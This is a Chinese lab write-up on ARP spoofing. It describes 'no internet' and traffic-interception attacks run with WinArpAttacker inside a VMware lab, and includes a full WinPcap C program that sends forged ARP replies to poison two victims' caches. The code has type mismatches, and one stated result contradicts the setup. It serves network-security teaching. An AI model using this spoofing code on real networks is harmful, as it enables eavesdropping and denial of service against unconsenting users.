ARP攻击实验
简述
ARP(Address Resolution Protocol)协议是一个通过解析网络层地址来寻找数据链路层地址的网络传输协定。其报文格式如下:
其中,每个字段的含义如下。
- 硬件类型:指明了发送方想知道的硬件接口类型,以太网的值为 1。
- 协议类型:表示要映射的协议地址类型。它的值为 0x0800,表示 IP 地址。
- 硬件地址长度和协议长度:分别指出硬件地址和协议的长度,以字节为单位。对于以太网上 IP 地址的ARP请求或应答来说,它们的值分别为 6 和 4。
- 操作类型:用来表示这个报文的类型,ARP 请求为 1,ARP 响应为 2,RARP 请求为 3,RARP 响应为 4。
- 发送方 MAC 地址:发送方设备的硬件地址。
- 发送方 IP 地址:发送方设备的 IP 地址。
- 目标 MAC 地址:接收方设备的硬件地址。
- 目标 IP 地址:接收方设备的IP地址。
实验一
运行 WinArpAttacker、Ettercap,扫描在线主机,对目标主机进行“禁止上网”、“IP 冲突”等攻击,查看目标主机状态,通过 WireShark 等抓包工具,捕获 ARP 欺骗攻击的数据包,分析 ARP 攻击的原理。
禁止上网攻击
- 首先在受害者主机上,使用
arp -a
查看ARP缓存,并执行ping baidu.com
来确认主机能否正常上网。观察到ARP表配置正确,且能ping通正常网站。
- 运行
WinArpAttacker
软件,扫描在线主机后,选定指定主机进行禁止上网攻击。
- 在受害者主机上执行
arp -a
命令查看ARP缓存表,发现网关对应的MAC配置成01-01-01-01-01-01
,抓包内容显示攻击方分别向网关和受害者方发送ARP报文,请网关将受害者主机ip所对应的MAC修改为01-01-01-01-01-01
,请求受害者主机将网关ip所对应的MAC修改为01-01-01-01-01-01
.
- 受害者再次执行
ping baidu.com
,观察攻击是否其效果。结果观察到baidu.com
无法正常连接
网关监听实验
-
运行
WinArpAttacker
软件,在在线主机列表中选取待攻击主机,执行监听网关通信攻击。在攻击方主机执行抓包程序,发现攻击方分别向受害方和网关发送一个ARP包- 向网关发送ARP包,将网关ARP表中的受害方MAC地址改成攻击方的MAC地址
- 向受害方发送ARP包,将受害方ARP表中的网关MAC地址改成攻击方的MAC地址
至此,攻击方分别欺骗了受害方和网关。
- 在受害者方使用
WinARPAttacker
手动发送ARP包功能,模拟向网关发送ARP包
- 在攻击方运行抓包程序,发现已经截获受害方与网关之间的通信
主机欺骗攻击
-
攻击方运行
WinARPAttacker
软件,选择两个受害者主机作为监听对象。并执行监听主机通信攻击。 -
在受害主机1运行
arp -a
观察其ARP表 -
与此同时,受害主机1与受害者2发送报文时,在受害者1主机上执行抓包程序。发现发往受害者2的ICMP包虽然目的ip地址是受害者2主机ip,但是MAC地址已经被篡改成Attacker的MAC地址。
-
在攻击方主机上执行抓包程序。捕获受害者之间的通信报文。发现两者之间的通信报文都会先经过受害者主机,这样一来就达到了监听效果。整个过程对于受害者主机来说是完全无感的。
ARP欺骗攻击编程实验
实验环境:
-
使用VMware软件起三个虚拟机,其中一台为攻击方,另外两台为受害者主机,三者连接同一虚拟网络中。三者的网络配置如下:
主机 MAC IP 攻击方 00-0C-29-83-C9-7C 192.168.44.128 受害方1 00-0C-29-24-48-55 192.168.44.129 受害方2 00-0C-29-E2-30-A6 192.168.44.130
- 使用Winpcap SDK,编写程序,对指定的目标IP地址进行ARP欺骗攻击
#include <stdlib.h>
#include <stdio.h>
#include <pcap.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")
#pragma pack(2)
#define MAC_LEN 6
void buildPacket(u_char packet[]);
int selectAdapter(pcap_if_t* targetAdapter);
// 以太网帧头
typedef struct _eth_header {
unsigned char dst_mac[MAC_LEN];
unsigned char src_mac[MAC_LEN];
unsigned short type;
} ETH_HEADER;
// arp报文头
typedef struct _arp_header {
unsigned short hardware_type;
unsigned short protocol_type;
unsigned char hardware_len;
unsigned char protocol_len;
unsigned short option;
unsigned char src_mac[MAC_LEN];
unsigned long src_ip;
unsigned char dst_mac[MAC_LEN];
unsigned long dst_ip;
} ARP_HEADER;;
// arp报文
typedef _declspec(align(2)) struct _arp_packet {
ETH_HEADER eth_hdr;
ARP_HEADER arp_hdr;
} ARP_PKT;
char errbuf[PCAP_ERRBUF_SIZE];
u_char* packet1[100]; //arp帧包1
u_char* packet2[100]; //arp帧包2
int flood = 10; //发送次数
void main(int argc, char **argv)
{
pcap_t* fp;
u_char packet[100];
int i = 0;
// Step1 : select and open adapter
pcap_if_t targetAdapter;
selectAdapter(&targetAdapter);
if ((fp = pcap_open_live(targetAdapter.name, // name of the device
65536, // portion of the packet to capture. It doesn't matter in this case
1, // promiscuous mode (nonzero means promiscuous)
1000, // read timeout
errbuf // error buffer
)) == NULL){
fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", argv[1]);
return 2;
}
// step2 : build ARP packet
buildPacket(packet);
// step3 : send packet
printf("please input the flood(num of packet to send):");
scanf_s("%d", &flood);
for (int i = 0; i < flood; i++){
if (pcap_sendpacket(fp, // Adapter
packet1, // buffer with the packet
42 // size
) != 0){
fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(fp));
return 3;
}
if (pcap_sendpacket(fp, // Adapter
packet2, // buffer with the packet
42 // size
) != 0){
fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(fp));
return 3;
}
Sleep(500); //发送间隔时间100ms
}
pcap_close(fp);
return;
}
void pktbuild2(ARP_PKT* pkt, int *smac, char *sip, int *dmac, char *dip) {
for (int i = 0; i < MAC_LEN; i++) pkt->arp_hdr.src_mac[i] = smac[i], pkt->eth_hdr.src_mac[i] = smac[i];
pkt->arp_hdr.hardware_type = htons(0x1);
pkt->arp_hdr.protocol_type = htons(0x800);
pkt->arp_hdr.hardware_len = 6;
pkt->arp_hdr.protocol_len = 4;
pkt->arp_hdr.option = htons(0x2);
for (int i = 0; i < MAC_LEN; i++) pkt->arp_hdr.dst_mac[i] = dmac[i], pkt->eth_hdr.dst_mac[i] = dmac[i];
pkt->arp_hdr.dst_ip = inet_addr(dip);
pkt->arp_hdr.src_ip = inet_addr(sip);
pkt->eth_hdr.type = htons(0x0806);
}
/*用户输入mac地址 */
void buildPacket(u_char packet[]) {
int self_mac[6]; //攻击者自己的mac地址
//int victim1_ip[4]; //受害者1的ip
char victim1_ip[15];
int victim1_mac[6]; //受害者1的mac地址
//int victim2_ip[4]; //受害者2的ip
char victim2_ip[15];
int victim2_mac[6]; //受害者2的mac地址
/* Supposing to be on ethernet, set mac destination to 1:1:1:1:1:1 */
printf("please input self_mac address like aa-aa-aa-aa-aa-aa: ");
scanf_s("%x-%x-%x-%x-%x-%x", &self_mac[0], &self_mac[1], &self_mac[2], &self_mac[3], &self_mac[4], &self_mac[5]);
printf("please input victim1's ip like 1.1.1.1: ");
//scanf_s("%d.%d.%d.%d", &victim1_ip[0], &victim1_ip[1], &victim1_ip[2], &victim1_ip[3]);
scanf_s("%s", victim1_ip,15);
printf("please input victim1's mac like aa-aa-aa-aa-aa-aa: ");
scanf_s("%x-%x-%x-%x-%x-%x", &victim1_mac[0], &victim1_mac[1], &victim1_mac[2], &victim1_mac[3], &victim1_mac[4], &victim1_mac[5]);
printf("please input victim2's ip like 1.1.1.1: ");
//scanf_s("%d.%d.%d.%d", &victim2_ip[0], &victim2_ip[1], &victim2_ip[2], &victim2_ip[3]);
scanf_s("%s", victim2_ip,15);
printf("please input victim2's mac like aa-aa-aa-aa-aa-aa: ");
scanf_s("%x-%x-%x-%x-%x-%x", &victim2_mac[0], &victim2_mac[1], &victim2_mac[2], &victim2_mac[3], &victim2_mac[4], &victim2_mac[5]);
//pktbuild(&packet1, self_mac, victim1_ip, victim2_mac, victim2_ip); //build a arp-packet at &packet
//pktbuild(&packet2, self_mac, victim2_ip, victim1_mac, victim1_ip); //build a arp-packet at &packet
pktbuild2(&packet1, self_mac, victim1_ip, victim2_mac, victim2_ip); //build a arp-packet at &packet
pktbuild2(&packet2, self_mac, victim2_ip, victim1_mac, victim1_ip); //build a arp-packet at &packet
}
/*选中特定的适配器*/
int selectAdapter(pcap_if_t* targetAdapter) {
pcap_if_t* alldevs; //网卡列表
pcap_if_t* d; //选中的网卡
int i = 0;
/*
获取设备列表并选定目标设备
*/
printf("the arp-attacker starts...\n");
/* 检索设备列表 */
if (pcap_findalldevs(&alldevs, errbuf) == -1){
fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
printf("请在以下网卡中选择一个使用:\n");
/* 打印网卡列表 */
for (d = alldevs; d; d = d->next) {
printf("%d. %s", ++i, d->name);
if (d->description) printf(" (%s)\n", d->description);
else printf(" (No description available)\n");
}
if (i == 0)
{ //没有扫描到网卡
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return -1;
}
int targetAdapterIndex = 0;
printf("Enter the interface number (1-%d) to use: ", i);
scanf_s("%d", &targetAdapterIndex);
/* 检查用户输入是否有效 */
if (targetAdapterIndex < 1 || targetAdapterIndex > i) {
printf("\nAdapter number out of range.\n");
/* 释放所有网卡 */
pcap_freealldevs(alldevs);
return -1;
}
/* 跳到用户选中的网卡 */
for (d = alldevs, i = 0; i < targetAdapterIndex - 1; d = d->next, i++);
*targetAdapter = *d;
}
- 在攻击方运行该程序,输入两个受害者的ip地址和mac地址,进行攻击
- 使用
wireshark
进行抓包,观察此程序每隔0.5秒就发送两个ARP报文。
192.168.44.128
向192.168.44.129
发送ARP报文,告诉它192.168.44.130
对应的MAC地址是00-0C-29-83-C9-7C
192.168.44.128
向192.168.44.130
主机发送ARP报文,告诉它192.168.44.129
对应的MAC地址是00-0C-29-83-C9-7C
- 在受害者主机192.168.44.129上查看其ARP缓存表,看到``192.168.44.128
的MAC已经被修改为
00-0C-29-83-C9-7C`,攻击成功。
- 可以看到在监听过程中,攻击方可以监听两者互相发送的TCP报文,由此,证明攻击生效。